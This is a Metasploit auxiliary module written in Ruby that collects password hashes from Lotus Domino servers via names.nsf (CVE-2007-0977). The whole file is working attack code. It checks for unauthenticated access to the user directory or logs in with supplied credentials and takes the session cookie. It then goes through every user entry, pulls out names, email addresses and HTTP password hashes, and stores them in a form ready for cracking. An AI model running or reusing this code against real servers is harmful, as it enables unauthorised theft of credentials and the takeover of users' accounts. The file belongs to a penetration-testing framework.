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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  def initialize
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    super(
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      'Name'           => 'Lotus Domino Password Hash Collector',
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      'Description'    => 'Get users passwords hashes from names.nsf page',
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      'Author'         => 'Tiago Ferreira <tiago.ccna[at]gmail.com>',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE' , '2007-0977']
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        ]
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    )
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  register_options(
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    [
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      OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']),
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      OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]),
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      OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf'])
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    ])
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  end
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  def post_auth?
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    true
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  end
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  def run_host(ip)
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    user = datastore['NOTES_USER']
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    pass = datastore['NOTES_PASS']
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    @uri = normalize_uri(datastore['URI'])
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    if user.eql?('') && pass.eql?('')
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      print_status("#{peer} - Lotus Domino - Trying dump password hashes without credentials")
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      begin
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        res = send_request_raw({
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          'method'  => 'GET',
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          'uri'     => "#{@uri}\/$defaultview?Readviewentries",
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        }, 25)
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        if res.nil?
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          print_error('Connection failed')
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          return
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        end
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        if res && res.body.to_s =~ /\<viewentries/
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          print_good("#{peer} - Lotus Domino - OK names.nsf accessible without credentials")
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          cookie = ''
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          get_views(cookie, @uri)
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        elsif res && res.body.to_s =~ /names.nsf\?Login/
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          print_error("#{peer} - Lotus Domino - The remote server requires authentication")
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          return :abort
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        else
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          print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")
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          vprint_error(res.to_s)
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          return :abort
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        end
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      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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      rescue ::Timeout::Error, ::Errno::EPIPE
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      end
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    else
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      print_status("#{peer} - Lotus Domino - Trying dump password hashes with given credentials")
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      do_login(user, pass)
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    end
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  end
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  def do_login(user = nil, pass = nil)
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    post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"
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    begin
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      res = send_request_cgi({
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        'method'  => 'POST',
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        'uri'     => '/names.nsf?Login',
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        'data'    => post_data
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      }, 20)
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      if res.nil?
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        print_error("#{peer} - Connection timed out")
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        return
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      end
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      if res && res.code == 302
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        if res.get_cookies =~ /DomAuthSessId=(.*);(.*)/i
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          cookie = "DomAuthSessId=#{$1}"
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        elsif res.get_cookies =~ /LtpaToken=(.*);(.*)/i
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          cookie = "LtpaToken=#{$1}"
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        else
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          print_error("#{peer} - Lotus Domino - Unrecognized 302 response")
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          return :abort
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        end
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        print_good("#{peer} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")
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        print_status("#{peer} - Lotus Domino - Getting password hashes")
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        get_views(cookie, @uri)
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      elsif res && res.body.to_s =~ /names.nsf\?Login/
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        print_error("#{peer} - Lotus Domino - Authentication error: failed to login as '#{user}'")
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        return :abort
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      else
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        print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")
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        return :abort
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      end
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    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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    rescue ::Timeout::Error, ::Errno::EPIPE
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    end
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  end
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  def get_views(cookie, uri)
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    begin
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      res = send_request_raw({
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        'method'  => 'GET',
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        'uri'     => "#{uri}\/$defaultview?Readviewentries",
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        'cookie'  => cookie
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      }, 25)
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      if res && res.body
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        max = res.body.scan(/siblings=\"(.*)\"/).first.join
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        1.upto(max.to_i) do |i|
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          res = send_request_raw({
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            'method'  => 'GET',
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            'uri'     => "#{uri}\/$defaultview?Readviewentries&Start=#{i}",
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            'cookie'  => cookie
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          }, 25)
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          view_id = res.body.scan(/unid="([^\s]+)"/)[0].join
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          dump_hashes(view_id, cookie, uri)
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        end
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      end
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    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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    rescue ::Timeout::Error, ::Errno::EPIPE
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    end
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  end
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  def dump_hashes(view_id, cookie, uri)
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    begin
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      res = send_request_raw({
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        'method'  => 'GET',
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        'uri'     => "#{uri}\/$defaultview/#{view_id}?OpenDocument",
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        'cookie'  => cookie
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      }, 25)
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      if res && res.body
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        doc = res.get_html_document
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        short_name =  doc.xpath('//input[@name="ShortName"]/@value').text
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        user_mail =  doc.xpath('//input[@name="InternetAddress"]/@value').text
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        pass_hash = doc.xpath('//input[@name="$dspHTTPPassword" or @name="dspHTTPPassword"]/@value').first&.text
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        short_name = 'NULL' if short_name.to_s.strip.empty?
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        user_mail = 'NULL' if user_mail.to_s.strip.empty?
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        pass_hash = 'NULL' if pass_hash.to_s.strip.empty?
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        print_good("#{peer} - Lotus Domino - Account Found: #{short_name}, #{user_mail}, #{pass_hash}")
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        if pass_hash != 'NULL'
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          domino_svc = report_service(
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            :host => rhost,
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            :port => rport,
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            :name => (ssl ? 'https' : 'http')
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          )
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          report_cred(
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            user: short_name,
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            password: pass_hash,
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            proof: "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}"
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          )
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        end
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      end
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    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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    rescue ::Timeout::Error, ::Errno::EPIPE
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    end
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  end
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  def report_cred(opts)
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    service_data = service_details.merge({workspace_id: myworkspace_id})
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    credential_data = {
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      origin_type: :service,
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      module_fullname: fullname,
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      username: opts[:user],
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      private_data: opts[:password],
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      private_type: :nonreplayable_hash,
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      jtr_format: 'dominosec'
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    }.merge(service_data)
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    login_data = {
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      core: create_credential(credential_data),
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      status: Metasploit::Model::Login::Status::UNTRIED,
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      proof: opts[:proof]
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    }.merge(service_data)
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    create_credential_login(login_data)
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  end
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end
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